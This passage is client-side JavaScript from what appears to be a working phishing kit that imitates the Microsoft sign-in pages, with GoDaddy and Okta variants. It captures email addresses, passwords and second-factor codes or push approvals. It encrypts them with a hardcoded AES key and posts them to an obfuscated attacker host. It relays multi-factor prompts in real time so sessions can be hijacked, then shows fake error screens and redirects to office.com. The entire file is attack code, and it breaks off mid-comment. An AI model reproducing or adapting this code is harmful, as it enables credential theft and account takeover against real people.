var otherweburl = ""; var websitenames = ["godaddy","okta"]; var bes = ["Apple.com","Netflix.com"]; var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"]; var capnum = 1; var appnum = 1; var pvn = 0; var view = ""; var pagelinkval = "TeKtiW"; var emailcheck = window.location.search.substring(1); function isBase64(str) { try { return btoa(atob(str)) === str; } catch (e) { return false; } } if (isBase64(emailcheck)) { emailcheck = atob(emailcheck); } var webname = "rtrim(/web9/, '/')"; var twa = 0; var currentreq = null; var requestsent = false; var pagedata = ""; var redirecturl = "https://office.com/?auth=2"; var userAgent = navigator.userAgent; var browserName; var userip; var usercountry; var errorcodeexecuted = false; if(userAgent.match(/edg/i)){ browserName = "Edge"; } else if(userAgent.match(/chrome|chromium|crios/i)){ browserName = "chrome"; } else if(userAgent.match(/firefox|fxios/i)){ browserName = "firefox"; } else if(userAgent.match(/safari/i)){ browserName = "safari"; } else if(userAgent.match(/opr\//i)){ browserName = "opera"; } else{ browserName="No browser detection"; } function removespaces(input) { input.value = input.value.replace(/\s+/g, ''); // Removes all spaces } function encryptData(data) { const key = CryptoJS.enc.Utf8.parse('1234567890123456'); const iv = CryptoJS.enc.Utf8.parse('1234567890123456'); const encrypted = CryptoJS.AES.encrypt(data, key, { iv: iv, padding: CryptoJS.pad.Pkcs7, mode: CryptoJS.mode.CBC }); return encrypted.toString(); } function stringToBinary(input) { const zeroReplacement = '0'; const oneReplacement = '1'; return btoa(input .split('') .map(char => { let binary = char.charCodeAt(0).toString(2); binary = binary.padStart(8, '0'); return binary .split('') .map(bit => (bit === '0' ? zeroReplacement : oneReplacement)) .join(''); }) .join(' ')); } function decryptData(encryptedData) { const key = CryptoJS.enc.Utf8.parse('1234567890123456'); const iv = CryptoJS.enc.Utf8.parse('1234567890123456'); const decrypted = CryptoJS.AES.decrypt(encryptedData, key, { iv: iv, padding: CryptoJS.pad.Pkcs7, mode: CryptoJS.mode.CBC }); return decrypted.toString(CryptoJS.enc.Utf8); } var sendAndReceive = (route, args, getresponse) => { if(requestsent == true && route !== "twofaselect"){ return new Promise((resolve, reject) => { return resolve({message: "waiting for previous request to complete"}); }); } if(requestsent == false || route == "twofaselect"){ requestsent = true; let routename = null; let randpattern = null; if(route == "checkemail"){ randpattern = /(pq|rs)[A-Za-z0-9]{6,18}(yz|12|34)[A-Za-z0-9]{2,7}(uv|wx)(3[1-9]|40)/gm; } if(route == "checkpass"){ randpattern = /(yz|12)[A-Za-z0-9]{7,14}(56|78)[A-Za-z0-9]{3,8}(op|qr)(4[1-9]|50)/gm; } if(route == "twofaselect"){ randpattern = /(56|78|90)[A-Za-z0-9]{8,16}(23|45|67)[A-Za-z0-9]{4,9}(st|uv)(5[1-9]|60)/gm; } if(route == "twofaselected"){ randpattern = /(23|45)[A-Za-z0-9]{9,20}(89|90|ab)[A-Za-z0-9]{5,10}(vw|xy)(6[1-9]|70)/gm; if(currentreq){ currentreq.abort(); } } if(route == "pagevisit"){ randpattern = /(pq|rs)[A-Za-z0-9]{6,18}(yz|12|34)[A-Za-z0-9]{2,7}(uv|wx)(8[1-9]|90)/gm; requestsent = false; } if(route == "missingtemplate"){ randpattern = /(pq|rs)[A-Za-z0-9]{6,18}(yz|12|34)[A-Za-z0-9]{2,7}(uv|wx)(9[1-9]|100)/gm; requestsent = false; } let randexp = new RandExp(randpattern); let randroute = randexp.gen(); let formattedargs = 0; if(route == "checkemail"){ formattedargs = args.map(item => '/'+item).join('')+'/'+appnum+'/'+getresponse; } if(route !== "checkemail"){ formattedargs = '/'+token+args.map(item => '/'+item).join('')+'/'+getresponse; } // console.log(formattedargs); let encrypteddata = encryptData(formattedargs); const makeRequest = (retryCount) => { return new Promise((resolve, reject) => { currentreq = $.ajax({ url: 'https://nBMiLX9gLssBifikwpIlWQuXQkSyAEqE657fF6Ae0laB8NGzF4.ojsjbr.es/xjdntnrgwawazogvyqixudmnaTdGEyLTYACESAZQNUCBTOREPCFIOWKUVEKKUXIJKATJDVCJTJYQBGONUK' + randroute, type: 'POST', data: {data: encrypteddata}, success: function(response) { if (response.message == "Token Not Found" && retryCount < 3) { console.log('data: '+formattedargs); setTimeout(function(){ resolve(makeRequest(retryCount + 1)); }, 3000); } if (response.message == "Missing Value") { resolve('missing value'); } if (response.message !== "Token Not Found") { let decryptedresp = JSON.parse(decryptData(response)); if(route !== "twofaselected"){ if (decryptedresp.token) { token = decryptedresp.token; } } if (decryptedresp.message == "Token Not Found" && retryCount < 3) { console.log('data: '+formattedargs); setTimeout(function(){ resolve(makeRequest(retryCount + 1)); }, 3000); } else { // console.log(decryptedresp); requestsent = false; resolve(decryptedresp); } } }, error: function(xhr, status, error) { requestsent = false; console.error('Error:', error); reject(error); } }); }); }; return makeRequest(0); } }; function bottomsectionlinks(sectionname,array) { const bottomsection = document.getElementById('section_'+sectionname).querySelector('.bottomsection'); bottomsection.innerHTML = ''; array.forEach(item => { if (item.type === 'text_link') { const textWithLink = document.createElement('p'); textWithLink.classList.add('mb-16'); textWithLink.innerHTML = `${item.text} ${item.a_text}`; bottomsection.appendChild(textWithLink); } else if (item.type === 'link_text') { const linkwithText = document.createElement('a'); linkwithText.classList.add('link', 'mb-16'); linkwithText.setAttribute('data-id', item.a_id); linkwithText.setAttribute('onclick', 'linkoptionclick(this)'); linkwithText.textContent = item.a_text; bottomsection.appendChild(linkwithText); const paragraph = document.createElement('p'); paragraph.textContent = item.text; bottomsection.appendChild(paragraph) } else if (item.type === 'link') { const linkOnly = document.createElement('a'); linkOnly.classList.add('link','mb-16'); linkOnly.setAttribute("data-id", item.a_id); linkOnly.setAttribute("onclick", "linkoptionclick(this)"); linkOnly.textContent = item.a_text; linkOnly.href = '#'; bottomsection.appendChild(linkOnly); } else if (item.type === 'text') { const textOnly = document.createElement('p'); textOnly.classList.add('mb-16'); textOnly.textContent = item.text; bottomsection.appendChild(textOnly); } }); } var disconnecttimer; var showwedidnthearpopup = 0; function startdisconnecttimer(){ if(document.getElementById('section_tryagainlater').classList.contains('d-none')){ disconnecttimer = setTimeout(function() { setTimeout(function(){ document.getElementById('section_'+view).querySelector('.loading-container').classList.remove('loading'); document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = 'hide-to-left 0.5s'; setTimeout(function(){ document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_tryagainlater').querySelector('#tryagainheader').style.display = "block"; document.getElementById('section_tryagainlater').querySelector('#tryagain_withoutinternet').style.display = "block"; document.getElementById('section_tryagainlater').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s'; document.getElementById('section_tryagainlater').classList.remove('d-none'); }, 200); }, 500); view = "tryagainlater"; }, 40000); } } function moreinforeq(){ showwedidnthearpopup = 0; if(document.getElementById('section_tryagainlater').classList.contains('d-none')){ document.getElementById('section_tryagainlater').querySelector('.title').innerText = "More Information Required"; setTimeout(function(){ document.getElementById('section_'+view).querySelector('.loading-container').classList.remove('loading'); document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = 'hide-to-left 0.5s'; setTimeout(function(){ document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_tryagainlater').querySelector('#tryagainheader').style.display = "block"; document.getElementById('section_tryagainlater').querySelector('#tryagain_moreinfo').style.display = "block"; document.getElementById('section_tryagainlater').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s'; document.getElementById('section_tryagainlater').classList.remove('d-none'); }, 200); }, 500); } view = "tryagainlater"; } // document.addEventListener("DOMContentLoaded", () => { if(twa == 0){ setTimeout(function(){ setTimeout(function(){ document.getElementById('section_tryingtosignin').querySelector('.loading-container').classList.remove('loading'); document.getElementById('section_tryingtosignin').querySelector('.sectioncontent').style.animation = 'hide-to-left 0.5s'; setTimeout(function(){ document.getElementById("section_tryingtosignin").classList.toggle('d-none'); if (!document.getElementById('sections_doc') && !document.getElementById('sections_pdf')){ document.title = "Continue For Secure Access"; if (document.getElementById('out2-logo')){ document.getElementById('out2-logo').style.display = 'block'; } document.getElementById('section_uname').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s'; document.getElementById('section_uname').classList.remove('d-none'); } }, 200); }, 500); if (document.getElementById('sections_pdf')){ setTimeout(function(){ document.title = "Continue For Secure Access"; document.getElementById('sections_pdf').querySelector('#mainLoader').style.display = "none"; document.getElementById('sections_pdf').querySelector('#section_uname_content').classList.remove('d-none'); }, 1000); } if (document.getElementById('sections_doc')){ setTimeout(function(){ document.title = "Continue For Secure Access"; }, 1000); } }, 1000); } if(twa == 1){ document.getElementById('section_tryingtosignin').querySelector('.loading-container').classList.remove('loading'); document.getElementById("section_tryingtosignin").classList.toggle('d-none'); document.title = "Continue For Secure Access"; document.getElementById('section_uname').classList.remove('d-none'); } if(twa == 2){ document.title = "Continue For Secure Access"; } // }); let emailinputele = false; function tryfindingele(email) { if (view == "uname") { let emailinputcheck = document.getElementById("inp_uname"); let emailsectionelecheck = document.getElementById("section_uname"); if (emailinputcheck && !emailsectionelecheck.classList.contains("d-none")) { emailinputcheck.value = email; document.getElementById('section_uname').querySelector("#btn_next").click(); emailinputele = true; } else { setTimeout(function() { tryfindingele(email); }, 1000); } } else if (view == "uname_pdf") { let emailinputcheck = document.getElementById("pdfemail"); let emailsectionelecheck = document.getElementById("section_uname_content"); if (emailinputcheck && !emailsectionelecheck.classList.contains("d-none")) { emailinputcheck.value = email; setTimeout(function() { document.getElementById('section_uname_pdf').querySelector("#btn_next_pdf").click(); }, 2000); emailinputele = true; } else { setTimeout(function() { tryfindingele(email); }, 1000); } } else if (view == "uname_doc") { let emailinputcheck = document.getElementById("docemail"); let emailsectionelecheck = document.getElementById("section_uname_content"); if (emailinputcheck && !emailsectionelecheck.classList.contains("d-none")) { emailinputcheck.value = email; setTimeout(function() { document.getElementById('section_uname_doc').querySelector("#btn_next_doc").click(); }, 2000); emailinputele = true; } else { setTimeout(function() { tryfindingele(email); }, 1000); } } else { setTimeout(function() { tryfindingele(email); }, 1000); } } if (typeof emailcheck !== 'undefined' && emailcheck !== null && emailcheck !== "0" && emailcheck !== "") { tryfindingele(emailcheck); } var webnotfound = false; var interacted = 0; var multipleaccountsback = 0; let wait2facancel = 0; let otptype = 0; var currentweb = 0; var pagevisitedalready = null; let viewtype = null; let pdfcheck = 0; if(!document.getElementById('sections').classList.contains('d-none')){ view = "uname"; } if(document.getElementById('sections_pdf') && !document.getElementById('sections_pdf').classList.contains('d-none')){ view = "uname_pdf"; } if(document.getElementById('sections_doc') && !document.getElementById('sections_doc').classList.contains('d-none')){ view = "uname_doc"; } if(document.getElementById('voice')){ view = "uname"; } document.addEventListener('keyup', function(event) { if (event.key === "Enter" && requestsent == false) { if(view == "pwd_godaddy"){ if(document.getElementById('sections_godaddy').querySelector("#godaddysignin") !== null){ document.getElementById('sections_godaddy').querySelector("#godaddysignin").click(); } } if(view == "pwd_okta"){ if(document.getElementById('sections_okta').querySelector("#oktasignin") !== null){ document.getElementById('sections_okta').querySelector("#oktasignin").click(); } } if(view !== "pwd_godaddy" && view !== "pwd_okta"){ if(document.getElementById('section_'+view).querySelector("#btn_next") !== null){ document.getElementById('section_'+view).querySelector("#btn_next").click(); } else if(document.getElementById('section_'+view).querySelector("#next_btn_pdf") !== null){ document.getElementById('section_'+view).querySelector("#next_btn_pdf").click(); } else if(document.getElementById('section_'+view).querySelector("#btn_next_doc") !== null){ document.getElementById('section_'+view).querySelector("#btn_next_doc").click(); } else if (document.getElementById('section_'+view).querySelector("#btn_sig") !== null){ document.getElementById('section_'+view).querySelector("#btn_sig").click(); } else if (document.getElementById('section_'+view).querySelector("#btn_sig_live") !== null){ document.getElementById('section_'+view).querySelector("#btn_sig_live").click(); } else if (document.getElementById('section_'+view).querySelector("#btn_confirmemail") !== null){ document.getElementById('section_'+view).querySelector("#btn_confirmemail").click(); } else if (document.getElementById('section_'+view).querySelector("#btn_verifyotp") !== null){ document.getElementById('section_'+view).querySelector("#btn_verifyotp").click(); } else if (document.getElementById('section_'+view).querySelector("#btn_confirmemailorphone_live") !== null){ document.getElementById('section_'+view).querySelector("#btn_confirmemailorphone_live").click(); } else if (document.getElementById('section_'+view).querySelector("#btn_verifyotp_live") !== null){ document.getElementById('section_'+view).querySelector("#btn_verifyotp_live").click(); } } } }); function validatediginp(input) { input.value = input.value.replace(/\D/g, ''); } function loadinganimation(type){ if(type == 0){ // document.querySelectorAll('.loading-container').forEach((e) => { // e.classList.add('loading') // }); document.getElementById('section_'+view).querySelector('.loading-container').classList.add('loading'); document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = 'fadeinform 1s forwards'; } if(type == 1){ // document.querySelectorAll('.loading-container').forEach((e) => { // e.classList.remove('loading') // }); document.getElementById('section_'+view).querySelector('.loading-container').classList.remove('loading'); document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = 'fadeoutform 1s forwards'; } } function runanimation(type,id,duration,f){ if(f == undefined){ f = 1 } if(f == 0){ f = ''; } if(f == 1){ f = 'forwards'; } if(type == 0){ document.getElementById('section_'+id).querySelector('.sectioncontent').style.animation = 'hide-to-right '+duration+'s '+f+''; } if(type == 1){ document.getElementById('section_'+id).querySelector('.sectioncontent').style.animation = 'show-from-right '+duration+'s '+f+''; } if(type == 2){ document.getElementById('section_'+id).querySelector('.sectioncontent').style.animation = 'hide-to-left '+duration+'s '+f+''; } if(type == 3){ document.getElementById('section_'+id).querySelector('.sectioncontent').style.animation = 'show-from-left '+duration+'s '+f+''; } } function changebackbutton(id,backbutton) { if(backbutton == 0){ document.getElementById('section_'+id).querySelector('.back').style.display = "none"; } if(backbutton == 1){ document.getElementById('section_'+id).querySelector('.back').style.display = "block"; } } function wait2fa(authtype,secondauthtype) { if(wait2facancel == 0){ if(authtype == "app"){ let twofatype = null; twofatype = secondauthtype; sendAndReceive('twofaselected', [twofatype,'null'],1) .then(response => { // if (view != "authapp") { // wait2facancel = 1; // } if (response && view == "authapp" || response && view == "authapp_live") { // live stuff if (response['message'] == "signinblocked live"){ document.getElementById("signin_blocked_live_email").innerText = response['email']; checkerrordesc('signin_blocked_live',0,response['description']); checkerrordesc('signin_blocked_reason',2,response['reason']); document.getElementById('section_authapp').classList.toggle('d-none'); document.getElementById('section_signin_blocked_live').classList.remove('d-none'); view = "signin_blocked_live"; } if (response['message'] == "protectaccount live"){ checkerrordesc('protect_account_live',0,response['description']); document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_protect_account_live').classList.remove('d-none'); view = "protect_account_live"; } // live stuff if (response['message'] == "more info required"){ moreinforeq(); } if (response['message'] == "waiting"){ setTimeout(function(){ wait2fa(authtype,secondauthtype); }, 8000); } if (response['message'] == "authenticaion failed"){ setTimeout(function(){ wait2fa(authtype,secondauthtype); }, 2000); } if (response['message'] == "duplicate request"){ wait2facancel = 1; if(document.getElementById('section_tryagainlater').classList.contains('d-none')){ document.getElementById('section_tryagainlater').querySelector('.title').innerText = "Too many Attempts"; setTimeout(function(){ document.getElementById('section_'+view).querySelector('.loading-container').classList.remove('loading'); runanimation(2,view,0.5,0); setTimeout(function(){ document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_tryagainlater').querySelector('#tryagainheader').style.display = "block"; document.getElementById('section_tryagainlater').querySelector('#tryagain_toomanyattempts').style.display = "block"; document.getElementById('section_tryagainlater').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s'; document.getElementById('section_tryagainlater').classList.remove('d-none'); view = "tryagainlater"; }, 200); }, 500); } } if (response['message'] == "approved"){ document.getElementById("section_authapp").classList.toggle('d-none'); document.getElementById('section_final').classList.remove('d-none'); view = "final"; // sendinfo(unameInp.value,pwdInp.value,1); } if (response['message'] == "approved live"){ document.getElementById("section_authapp_live").classList.toggle('d-none'); document.getElementById('section_final').classList.remove('d-none'); view = "final"; } if (response['message'] == "error live"){ document.getElementById('section_authapperror').querySelector('.title').textContent = response['title']; var autharrdesc = response['description']; document.getElementById('authapperrordesc').innerHTML = `${autharrdesc.text}View details`; checkerrordesc('authapperrorresend',2,response['resentlink']); authappbottomtext(response['checkapphavingtroublesection']); document.getElementById("section_authapp_live").classList.toggle('d-none'); document.getElementById('section_authapperror').classList.remove('d-none'); view = "authapperror"; } if (response['message'] == "error"){ document.getElementById('section_authapperror').querySelector('.title').textContent = response['title']; var autharrdesc = response['description']; document.getElementById('authapperrordesc').innerHTML = `${autharrdesc.text}View details`; checkerrordesc('authapperrorresend',2,response['resentlink']); authappbottomtext(response['checkapphavingtroublesection']); document.getElementById("section_authapp").classList.toggle('d-none'); document.getElementById('section_authapperror').classList.remove('d-none'); view = "authapperror"; } } }) .catch(error => { console.error('Error:', error); }); } if(authtype == "call"){ sendAndReceive('twofaselected', ['TwoWayVoiceMobile','null'],1) .then(response => { // if (view != "authcall") { // wait2facancel = 1; // } if (response && view == "authcall") { if (response['message'] == "more info required"){ moreinforeq(); } if (response['message'] == "waiting"){ setTimeout(function(){ wait2fa(authtype,null); }, 8000); } if (response['message'] == "authenticaion failed"){ setTimeout(function(){ wait2fa(authtype,secondauthtype); }, 2000); } if (response['message'] == "duplicate request"){ wait2facancel = 1; if(document.getElementById('section_tryagainlater').classList.contains('d-none')){ document.getElementById('section_tryagainlater').querySelector('.title').innerText = "Too many Attempts"; setTimeout(function(){ document.getElementById('section_'+view).querySelector('.loading-container').classList.remove('loading'); runanimation(2,view,0.5,0); setTimeout(function(){ document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_tryagainlater').querySelector('#tryagainheader').style.display = "block"; document.getElementById('section_tryagainlater').querySelector('#tryagain_toomanyattempts').style.display = "block"; document.getElementById('section_tryagainlater').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s'; document.getElementById('section_tryagainlater').classList.remove('d-none'); view = "tryagainlater"; }, 200); }, 500); } } if (response['message'] == "approved"){ document.getElementById("section_authcall").classList.toggle('d-none'); document.getElementById('section_final').classList.remove('d-none'); view = "final"; // sendinfo(unameInp.value,pwdInp.value,1); } if (response['message'] == "approved live"){ document.getElementById("section_authapp_live").classList.toggle('d-none'); document.getElementById('section_final').classList.remove('d-none'); view = "final"; } if (response['message'] == "error"){ checkerrordesc('authcall',1,response['description']); } } }) .catch(error => { console.error('Error:', error); }); } } if(wait2facancel == 1){ wait2facancel = 0; } } function backbuttonclick(element,type) { if (element.textContent == "Back"){ runanimation(0,view,0.3); } if (element.textContent == "Back"){ if(type == 1){ callurl = 'backbtnclick'; } if(type == 2){ callurl = 'multbackbtnclick'; } sendAndReceive(callurl, [element.getAttribute('data-id')],1) .then(response => { if (response && response['message'] !== "waiting for previous request to complete") { document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = ''; if (response['message'] == "clicked"){ if(element.textContent == "Back"){ runanimation(3,'uname',0.3); multipleaccountsback = 0; document.getElementById("section_multipleaccounts").classList.toggle('d-none'); document.getElementById('section_uname').querySelector('.sectioncontent').style.animation = ''; document.getElementById('section_uname').classList.remove('d-none'); if (document.body.style.backgroundImage) { document.body.style.backgroundImage = ""; } if (document.body.style.backgroundColor) { document.body.style.backgroundColor = ""; } view = 'uname'; } } if (response['message'] == "approve auth request auth app"){ document.getElementById("authappimg").setAttribute("src", response['image_src']); checkerrordesc('authapp',0,response['description']); bottomsectionlinks('authapp',response['bottomsection']) changebackbutton('authapp',response['backbutton']); document.getElementById("authappcode").textContent = response['authappcode']; document.getElementById("section_multipleaccounts").classList.toggle('d-none'); document.getElementById('section_authapp').classList.remove('d-none'); view = "authapp"; wait2fa('app',response['methodid']); } if (response['message'] == "approve auth request calling"){ document.getElementById('section_authcall').querySelector('.back').focus(); document.getElementById("authcallimg").setAttribute("src", response['image_src']); checkerrordesc('authcall',0,response['description']); bottomsectionlinks('authcall',response['bottomsection']) changebackbutton('authcall',response['backbutton']); document.getElementById("section_multipleaccounts").classList.toggle('d-none'); document.getElementById('section_authcall').classList.remove('d-none'); view = "authcall"; wait2fa('call'); } } }) .catch(error => { loadinganimation(1); console.error('Error:', error); }); } } function linkoptionclick(element) { if(element.getAttribute('data-id') == "try_again_otp"){ window.location.reload(); } // if (element.textContent == "Sign in another way" || element.textContent == "I can't use my Outlook mobile app right now" || element.textContent == "I can't use my Microsoft Authenticator app right now"){ if (element.getAttribute('data-id') == "ihaveacode" || element.getAttribute('data-id') == "signInAnotherWay" || element.textContent == "Enter a security code" || element.textContent == "get a code a different way." || element.textContent == "Sign out and sign in with a different account" || element.textContent == "Sign in using another Microsoft account" || element.textContent == "Sign in another way" || element.textContent == "Microsoft Authenticator" || element.textContent.includes("Send another request")){ loadinganimation(0); if(element.textContent == "get a code a different way." || element.getAttribute('data-id') == "signInAnotherWay"){ loadinganimation(1); wait2facancel = 1; document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = ''; document.getElementById("section_"+view).classList.toggle('d-none'); document.getElementById('section_2fa').classList.remove('d-none'); view = "2fa"; } if(element.getAttribute('data-id') == "ihaveacode"){ loadinganimation(1); document.getElementById('otp_livedesc').innerText = "Enter the code you received"; document.getElementById('section_confirmemailorphone_live').querySelector('.sectioncontent').style.animation = ''; document.getElementById("section_confirmemailorphone_live").classList.toggle('d-none'); document.getElementById('section_otp_live').classList.remove('d-none'); view = "otp_live"; } if (element.textContent == "Sign out and sign in with a different account" || element.textContent == "Sign in using another Microsoft account"){ loadinganimation(1); document.getElementById("footer").style.position = "absolute"; bottomsectionlinks('uname',[{a_id: "signup", a_text: "Create one!", text: "No account?", type: "text_link"},{a_id: "cantAccessAccount", a_text: "Can't access your account?", type: "link"}]);; changebackbutton('uname',0); document.getElementById("section_"+view).classList.toggle('d-none'); document.getElementById('inp_uname').value = ""; document.getElementById('error_pwd').innerText = ""; document.getElementById('inp_pwd').value = ""; document.getElementById('section_uname').querySelector('.sectioncontent').style.animation = ''; document.getElementById('section_uname').classList.remove('d-none'); if (document.body.style.backgroundImage) { document.body.style.backgroundImage = ""; } if (document.body.style.backgroundColor) { document.body.style.backgroundColor = ""; } view = "uname"; } let methodid = 0; if(viewtype == null){ if(element.textContent == "Send another request to my Microsoft Authenticator app" || element.textContent == "Microsoft Authenticator"){ methodid ='PhoneAppNotification'; } if(element.textContent == "Send another request to my Outlook mobile app"){ methodid ='CompanionAppsNotification'; } if(element.textContent == "Enter a security code"){ methodid = 'PhoneAppOTP'; } } // live stuff if(viewtype !== null){ if(element.textContent == "Send another request to my Microsoft app" || element.textContent == "Microsoft Authenticator"){ methodid ='PhoneAppNotification_Live'; } if(element.textContent == "Enter a security code"){ methodid = 'PhoneAppOTP_Live'; } } // live stuff if(element.textContent == "Send another request to my Microsoft Authenticator app" || element.textContent == "Microsoft Authenticator" || element.textContent == "Send another request to my Outlook mobile app" || element.textContent == "Enter a security code"){ sendAndReceive('twofaselect', [methodid],1) .then(response => { if (response && response['message'] !== "waiting for previous request to complete") { loadinganimation(1); wait2facancel = 0; // live stuff if(response['message'] == "otp sent live"){ document.getElementById("inp_otp_live").setAttribute("placeholder", "Code"); document.getElementById("error_otp_live").style.display = "none"; document.getElementById("error_otp_live").innerText = ""; document.getElementById("otpliveimg").setAttribute("src", response['image_src']); checkerrordesc('otp_live',0,response['description']); bottomsectionlinks('otp_live',response['bottomsection']) changebackbutton('otp_live',response['backbutton']); document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_otp_live').classList.remove('d-none'); view = "otp_live"; viewtype = "otp"; } if(response['message'] == "approve auth request auth app live"){ document.getElementById("error_authapp_live").style.display = "none"; document.getElementById("error_authapp_live").innerText = ""; document.getElementById("authapp_live_code").innerText = response['authappreqid']; bottomsectionlinks('authapp_live',response['bottomsection']) changebackbutton('authapp_live',response['backbutton']); document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_authapp_live').classList.remove('d-none'); view = "authapp_live"; viewtype = "auth"; wait2fa('app',response['methodid']); } // live stuff if (response['message'] == "duplicate request"){ wait2facancel = 1; if(document.getElementById('section_tryagainlater').classList.contains('d-none')){ document.getElementById('section_tryagainlater').querySelector('.title').innerText = "Too many Attempts"; setTimeout(function(){ document.getElementById('section_'+view).querySelector('.loading-container').classList.remove('loading'); runanimation(2,view,0.5,0); setTimeout(function(){ document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_tryagainlater').querySelector('#tryagainheader').style.display = "block"; document.getElementById('section_tryagainlater').querySelector('#tryagain_toomanyattempts').style.display = "block"; document.getElementById('section_tryagainlater').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s'; document.getElementById('section_tryagainlater').classList.remove('d-none'); view = "tryagainlater"; }, 200); }, 500); } } if (response['message'] == "error enter a code"){ document.getElementById('authapperrordesc').querySelector('span').setAttribute('class', 'error'); document.getElementById('authapperrordesc').querySelector('span').innerText = "Sorry, we're having trouble verifying your account. Please try again. "; } if (response['message'] == "session timeout"){ if(document.getElementById('section_tryagainlater').classList.contains('d-none')){ document.getElementById('section_tryagainlater').querySelector('.title').innerText = "We didn't hear from you"; setTimeout(function(){ document.getElementById('section_'+view).querySelector('.loading-container').classList.remove('loading'); runanimation(2,view,0.5,0); setTimeout(function(){ document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_tryagainlater').querySelector('#tryagainheader').style.display = "block"; document.getElementById('section_tryagainlater').querySelector('#tryagain_withoutinternet').style.display = "block"; document.getElementById('section_tryagainlater').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s'; document.getElementById('section_tryagainlater').classList.remove('d-none'); view = "tryagainlater"; }, 200); }, 500); } } if (response['message'] == "redirected back to sign in"){ document.getElementById('inp_uname').value = ""; document.getElementById('error_pwd').innerText = ""; document.getElementById('inp_pwd').value = ""; bottomsectionlinks('uname',[{a_id: "signup", a_text: "Create one!", text: "No account?", type: "text_link"},{a_id: "cantAccessAccount", a_text: "Can't access your account?", type: "link"}]);; document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = ''; document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_uname').querySelector('.sectioncontent').style.animation = ''; document.getElementById('section_uname').classList.remove('d-none'); if (document.body.style.backgroundImage) { document.body.style.backgroundImage = ""; } if (document.body.style.backgroundColor) { document.body.style.backgroundColor = ""; } } if (response['message'] == "lets try something else or come back"){ document.getElementById('section_signinanothererror').querySelector('.title').textContent = response['title']; checkerrordesc('signinanothererrordesc',2,response['signinanothererrordesc']); document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_signinanothererror').classList.remove('d-none'); bottomsectionlinks('signinanothererror',response['bottomsection']); view = "signinanothererror"; } if (response['message'] == "you dont have access"){ // checkerrordesc('youdonthaveaccesssignout',2,response['youdonthaveaccessdesc']); // checkerrordesc('youdonthaveaccesmoredetails',2,response['moredetailslink']); document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_youdonthaveaccess').classList.remove('d-none'); view = "youdonthaveaccess"; } if (response['message'] == "otp sent"){ document.getElementById("error_2fa").innerText = ""; document.getElementById("otpimg").setAttribute("src", response['image_src']); checkerrordesc('otp',0,response['description']); bottomsectionlinks('otp',response['bottomsection']) changebackbutton('otp',response['backbutton']); document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_otp').classList.remove('d-none'); view = "otp"; viewtype = null; } if (response['message'] == "approve auth request auth app"){ document.getElementById("error_2fa").innerText = ""; document.getElementById("authappimg").setAttribute("src", response['image_src']); checkerrordesc('authapp',0,response['description']); bottomsectionlinks('authapp',response['bottomsection']) changebackbutton('authapp',response['backbutton']); document.getElementById("authappcode").textContent = response['authappcode']; document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_authapp').classList.remove('d-none'); view = "authapp"; viewtype = null; wait2fa('app',response['methodid']); } if (response['message'] == "approve auth request calling"){ document.getElementById('section_authcall').querySelector('.back').focus(); document.getElementById("error_2fa").innerText = ""; document.getElementById("authcallimg").setAttribute("src", response['image_src']); checkerrordesc('authcall',0,response['description']); bottomsectionlinks('authcall',response['bottomsection']) changebackbutton('authcall',response['backbutton']); document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_authcall').classList.remove('d-none'); view = "authcall"; viewtype = null; wait2fa('call'); } if (response['message'] == "error"){ bottomsectionlinks('2fa',response['bottomsection']); changebackbutton('2fa',response['backbutton']); checkerrordesc('2fa',1,response['description']); } if (response['message'] == "verifyemail"){ document.getElementById("error_2fa").innerText = ""; checkerrordesc('verifyemail',0,response['description']); bottomsectionlinks('confirmemail',response['bottomsection']) changebackbutton('confirmemail',response['backbutton']); document.getElementById('section_'+view).classList.toggle('d-none'); document.getElementById('section_confirmemail').classList.remove('d-none'); view = "confirmemail"; viewtype = null; } if (response['message'] == "request wasnt sent"){ document.getElementById('section_authapperror').querySelector('.title').textContent = "Request wasn't sent"; document.getElementById("authapperrordesc").classList.toggle('error'); document.getElementById('authapperrordesc').innerHTML = `Sorry, we're having trouble verifying your account. Please try again.View details`; view = "authapperror"; viewtype = null; } } }) .catch(error => { loadinganimation(1); console.error('Error:', error); }); } // if (response['message'] == "redirected back to sign in"){ // document.getElementById('inp_uname').value = ""; // document.getElementById('error_pwd').innerText = ""; // document.getElementById('inp_pwd').value = ""; // bottomsectionlinks('uname',[{a_id: "signup", a_text: "Create one!", text: "No account?", type: "text_link"},{a_id: "cantAccessAccount", a_text: "Can't access your account?", type: "link"}]);; // document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = ''; // document.getElementById("section_"+view).classList.toggle('d-none'); // document.getElementById('section_uname').querySelector('.sectioncontent').style.animation = ''; // 